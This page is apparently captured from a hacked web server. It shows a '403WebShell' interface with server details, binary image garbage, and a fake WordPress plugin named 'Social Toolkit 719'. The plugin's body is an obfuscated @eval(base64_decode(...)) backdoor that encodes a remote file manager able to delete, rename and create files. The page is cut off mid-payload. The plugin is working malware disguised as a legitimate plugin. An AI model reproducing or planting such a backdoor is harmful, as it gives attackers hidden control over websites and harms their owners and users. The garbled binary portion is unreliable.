....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/social-toolkit-719/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins//social-toolkit-719/social-toolkit-719.php
<?php
/*
Plugin Name: Social Toolkit 719
Description: WordPress Social Toolkit 719
Version: 1.6.2
Author: WP Core
*/
@eval(base64_decode("c2Vzc2lvbl9zdGFydCgpOwoKLy8gPT09IENvbmZpZ3VyYXRpb24gPT09CiAkU1RBUlRfRElSID0gX19ESVJfXzsKICRNQVhfVVBMT0FEID0gNTAgKiAxMDI0ICogMTAyNDsKICRYT1JfS0VZID0gJ3dpbjk4ZmlsZW1hbmFnZXInOwoKLy8gPT09IEhlbHBlciBGdW5jdGlvbnMgPT09CmZ1bmN0aW9uIG5vcm1hbGl6ZSgkcCkgewogICAgJHAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwKTsKICAgIGlmICgkcCAhPT0gJy8nICYmICFwcmVnX21hdGNoKCcvXltBLVpdOlwvJC9pJywgJHApKSB7CiAgICAgICAgJHAgPSBydHJpbSgkcCwgJy8nKTsKICAgIH0KICAgIHJldHVybiAkcCA/OiAnLyc7Cn0KCmZ1bmN0aW9uIGZvcm1hdFNpemUoJGJ5dGVzKSB7CiAgICBpZiAoJGJ5dGVzID49IDEwNzM3NDE4MjQpIHJldHVybiByb3VuZCgkYnl0ZXMgLyAxMDczNzQxODI0LCAxKSAuICcgR0InOwogICAgaWYgKCRieXRlcyA+PSAxMDQ4NTc2KSByZXR1cm4gcm91bmQoJGJ5dGVzIC8gMTA0ODU3NiwgMSkgLiAnIE1CJzsKICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIHJvdW5kKCRieXRlcyAvIDEwMjQsIDEpIC4gJyBLQic7CiAgICByZXR1cm4gJGJ5dGVzIC4gJyBCJzsKfQoKZnVuY3Rpb24gaXNUZXh0RmlsZSgkcGF0aCkgewogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgJGZpbGVuYW1lID0gc3RydG9sb3dlcihiYXNlbmFtZSgkcGF0aCkpOwogICAgJHRleHRFeHRzID0gWyd0eHQnLCdwaHAnLCdodG1sJywnaHRtJywnY3NzJywnanMnLCdqc29uJywneG1sJywnbWQnLCdweScsJ3JiJywnamF2YScsJ2MnLCdjcHAnLCdoJywnaHBwJywnY3MnLCdzaCcsJ2JhdCcsJ3NxbCcsJ3ltbCcsJ3lhbWwnLCdpbmknLCdjZmcnLCdjb25mJywnbG9nJywnY3N2JywndHN2JywnaHRhY2Nlc3MnLCdlbnYnLCdnaXRpZ25vcmUnLCdlZGl0b3Jjb25maWcnLCdwbCcsJ2NnaScsJ2FzcCcsJ2FzcHgnLCdqc3AnLCd0cGwnLCd2dWUnLCdqc3gnLCd0c3gnLCd0cycsJ3Njc3MnLCdzYXNzJywnbGVzcycsJ3N2ZWx0ZScsJ3RvbWwnLCdycycsJ2dvJywnc3dpZnQnLCdrdCcsJ2RhcnQnLCdsdWEnLCdyJywnbScsJ2xvY2snLCdkb2NrZXJmaWxlJywnbWFrZWZpbGUnXTsKICAgICRiaW5hcnlFeHRzID0gWydleGUnLCdkbGwnLCdzbycsJ2R5bGliJywnemlwJywncmFyJywnN3onLCd0YXInLCdneicsJ2J6MicsJ3h6JywnanBnJywnanBlZycsJ3BuZycsJ2dpZicsJ2JtcCcsJ2ljbycsJ3dlYnAnLCdtcDMnLCd3YXYnLCdvZ2cnLCdmbGFjJywnYWFjJywnd21hJywnbXA0JywnYXZpJywnbWt2Jywnd212JywnZmx2JywnbW92JywncGRmJywnZG9jJywnZG9jeCcsJ3hscycsJ3hsc3gnLCdwcHQnLCdwcHR4Jywnb2R0Jywnb2RzJywnb2RwJywnY2xhc3MnLCdqYXInLCd3YXInLCdweWMnLCdvJywnb2JqJywnbGliJywnYScsJ2RlYicsJ3JwbScsJ2RtZycsJ2lzbycsJ21zaScsJ3NxbGl0ZScsJ2RiJ107CgogICAgaWYgKGluX2FycmF5KCRleHQsICR0ZXh0RXh0cykpIHJldHVybiB0cnVlOwogICAgaWYgKGluX2FycmF5KCRmaWxlbmFtZSwgJHRleHRFeHRzKSkgcmV0dXJuIHRydWU7CiAgICBpZiAoaW5fYXJyYXkoJGV4dCwgJGJpbmFyeUV4dHMpKSByZXR1cm4gZmFsc2U7CiAgICBpZiAoJGV4dCA9PT0gJycpIHsKICAgICAgICAkaGFuZGxlID0gQGZvcGVuKCRwYXRoLCAncicpOwogICAgICAgIGlmICgkaGFuZGxlKSB7CiAgICAgICAgICAgICRjaHVuayA9IGZyZWFkKCRoYW5kbGUsIDgxOTIpOwogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIHJldHVybiAoc3RycG9zKCRjaHVuaywgIlwwIikgPT09IGZhbHNlKTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGdldEZpbGVJY29uKCRwYXRoLCAkaXNEaXIpIHsKICAgIGlmICgkaXNEaXIpIHJldHVybiAnZm9sZGVyJzsKICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRtYXAgPSBbJ3R4dCcgPT4gJ3R4dCcsICdwaHAnID0+ICdwaHAnLCAnaHRtbCcgPT4gJ2h0bWwnLCAnaHRtJyA9PiAnaHRtbCcsICdjc3MnID0+ICdjc3MnLCAnanMnID0+ICdqcycsICdqc29uJyA9PiAnanNvbicsICd4bWwnID0+ICd4bWwnLCAnbWQnID0+ICd0eHQnLCAncHknID0+ICdweScsICdzcWwnID0+ICdkYicsICdqcGcnID0+ICdpbWcnLCAnanBlZycgPT4gJ2ltZycsICdwbmcnID0+ICdpbWcnLCAnZ2lmJyA9PiAnaW1nJywgJ3N2ZycgPT4gJ2ltZycsICd3ZWJwJyA9PiAnaW1nJywgJ3ppcCcgPT4gJ3ppcCcsICdyYXInID0+ICd6aXAnLCAnN3onID0+ICd6aXAnLCAndGFyJyA9PiAnemlwJywgJ2d6JyA9PiAnemlwJywgJ3BkZicgPT4gJ3BkZicsICdkb2MnID0+ICdkb2MnLCAnZG9jeCcgPT4gJ2RvYycsICdtcDMnID0+ICdhdWRpbycsICd3YXYnID0+ICdhdWRpbycsICdtcDQnID0+ICd2aWRlbycsICdhdmknID0+ICd2aWRlbycsICdleGUnID0+ICdleGUnLCAnZGxsJyA9PiAnZXhlJ107CiAgICByZXR1cm4gaXNzZXQoJG1hcFskZXh0XSkgPyAkbWFwWyRleHRdIDogJ2ZpbGUnOwp9CgpmdW5jdGlvbiBidWlsZEJyZWFkY3J1bWJzKCRwYXRoKSB7CiAgICAkcGF0aCA9IG5vcm1hbGl6ZSgkcGF0aCk7CiAgICAkYnJlYWRjcnVtYnMgPSBbXTsKICAgIGlmIChwcmVnX21hdGNoKCcvXihbQS1aXTpcLykvaScsICRwYXRoLCAkbSkpIHsKICAgICAgICAkcm9vdCA9ICRtWzFdOyAkcmVzdCA9IHN1YnN0cigkcGF0aCwgc3RybGVuKCRyb290KSk7CiAgICB9IGVsc2UgewogICAgICAgICRyb290ID0gJy8nOyAkcmVzdCA9IHN1YnN0cigkcGF0aCwgMSk7CiAgICB9CiAgICAkYnJlYWRjcnVtYnNbXSA9IFsnbmFtZScgPT4gJHJvb3QsICdwYXRoJyA9PiAkcm9vdF07CiAgICBpZiAoJHJlc3QpIHsKICAgICAgICAkcGFydHMgPSBleHBsb2RlKCcvJywgdHJpbSgkcmVzdCwgJy8nKSk7CiAgICAgICAgJGFjYyA9IHJ0cmltKCRyb290LCAnLycpOwogICAgICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgICAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsKICAgICAgICAgICAgJGFjYyAuPSAnLycgLiAkcGFydDsKICAgICAgICAgICAgJGJyZWFkY3J1bWJzW10gPSBbJ25hbWUnID0+ICRwYXJ0LCAncGF0aCcgPT4gJGFjY107CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRicmVhZGNydW1iczsKfQoKZnVuY3Rpb24geG9yRGVjcnlwdCgkaGV4LCAka2V5KSB7CiAgICAkdGV4dCA9ICcnOwogICAgJGxlbiA9IHN0cmxlbigkaGV4KTsKICAgICRrbGVuID0gc3RybGVuKCRrZXkpOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbjsgJGkgKz0gMikgewogICAgICAgICRjaGFyID0gaGV4ZGVjKHN1YnN0cigkaGV4LCAkaSwgMikpOwogICAgICAgICR0ZXh0IC49IGNocigkY2hhciBeIG9yZCgka2V5WygkaSAvIDIpICUgJGtsZW5dKSk7CiAgICB9CiAgICByZXR1cm4gJHRleHQ7Cn0KCi8vID09PSBBUEkgSEFORExFUiA9PT0KaWYgKGlzc2V0KCRfR0VUWydhcGknXSkpIHsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICAkY3VycmVudERpciA9IGlzc2V0KCRfUkVRVUVTVFsna2F2aXRhJ10pID8gbm9ybWFsaXplKCRfUkVRVUVTVFsna2F2aXRhJ10pIDogbm9ybWFsaXplKCRTVEFSVF9ESVIpOwogICAgaWYgKCFpc19kaXIoJGN1cnJlbnREaXIpIHx8ICFpc19yZWFkYWJsZSgkY3VycmVudERpcikpICRjdXJyZW50RGlyID0gbm9ybWFsaXplKCRTVEFSVF9ESVIpOwogICAgJHBhcmVudERpciA9IG5vcm1hbGl6ZShkaXJuYW1lKCRjdXJyZW50RGlyKSk7CgogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2FuZ3JhbSddKSkgewogICAgICAgICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1Vua25vd24gYWN0aW9uJ107CiAgICAgICAgc3dpdGNoICgkX1BPU1RbJ3NhbmdyYW0nXSkgewogICAgICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICAgICAgJHRhcmdldCA9IG5vcm1hbGl6ZSgkX1BPU1RbJ2xha3NoeWEnXSk7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdCA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkdGFyZ2V0LCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsgJGYtPmlzRGlyKCkgPyBAcm1kaXIoJGYtPmdldFJlYWxQYXRoKCkpIDogQHVubGluaygkZi0+Z2V0UmVhbFBhdGgoKSk7IH0KICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCR0YXJnZXQpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IEB1bmxpbmsoJHRhcmdldCk7IH0KICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2luZm8nLCAnbWVzc2FnZScgPT4gJ0RlbGV0ZWQgc3VjY2Vzc2Z1bGx5LiddOwogICAgICAgICAgICAgICAgfSBlbHNlIHsgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnTm90IGZvdW5kLiddOyB9CiAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgIGNhc2UgJ3JlbmFtZSc6CiAgICAgICAgICAgICAgICAkb2xkUGF0aCA9IG5vcm1hbGl6ZSgkX1BPU1RbJ3B1cmFuYSddKTsKICAgICAgICAgICAgICAgICRuZXdQYXRoID0gbm9ybWFsaXplKGRpcm5hbWUoJG9sZFBhdGgpIC4gJy8nIC4gYmFzZW5hbWUoJF9QT1NUWyduYXlhJ10pKTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkb2xkUGF0aCkgJiYgIWZpbGVfZXhpc3RzKCRuZXdQYXRoKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChAcmVuYW1lKCRvbGRQYXRoLCAkbmV3UGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdpbmZvJywgJ21lc3NhZ2UnID0+ICdSZW5hbWVkIHN1Y2Nlc3NmdWxseS4nXTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdSZW5hbWUgZmFpbGVkLiddOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7ICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1RhcmdldCBleGlzdHMgb3Igc291cmNlIG5vdCBmb3VuZC4nXTsgfQogICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICduZXdmb2xkZXInOgogICAgICAgICAgICAgICAgJGZvbGRlck5hbWUgPSBwcmVnX3JlcGxhY2UoJy9bXmEtekEtWjAtOV9cLVxzXS8nLCAnJywgdHJpbSgkX1BPU1RbJ3NhbXVoJ10pKTsKICAgICAgICAgICAgICAgIGlmICgkZm9sZGVyTmFtZSkgewogICAgICAgICAgICAgICAgICAgICRuZXdEaXIgPSBub3JtYWxpemUoJGN1cnJlbnREaXIgLiAnLycgLiAkZm9sZGVyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkbmV3RGlyKSAmJiBAbWtkaXIoJG5ld0RpciwgMDc1NSwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdpbmZvJywgJ21lc3NhZ2UnID0+ICdGb2xkZXIgY3JlYXRlZC4nXTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdGb2xkZXIgZXh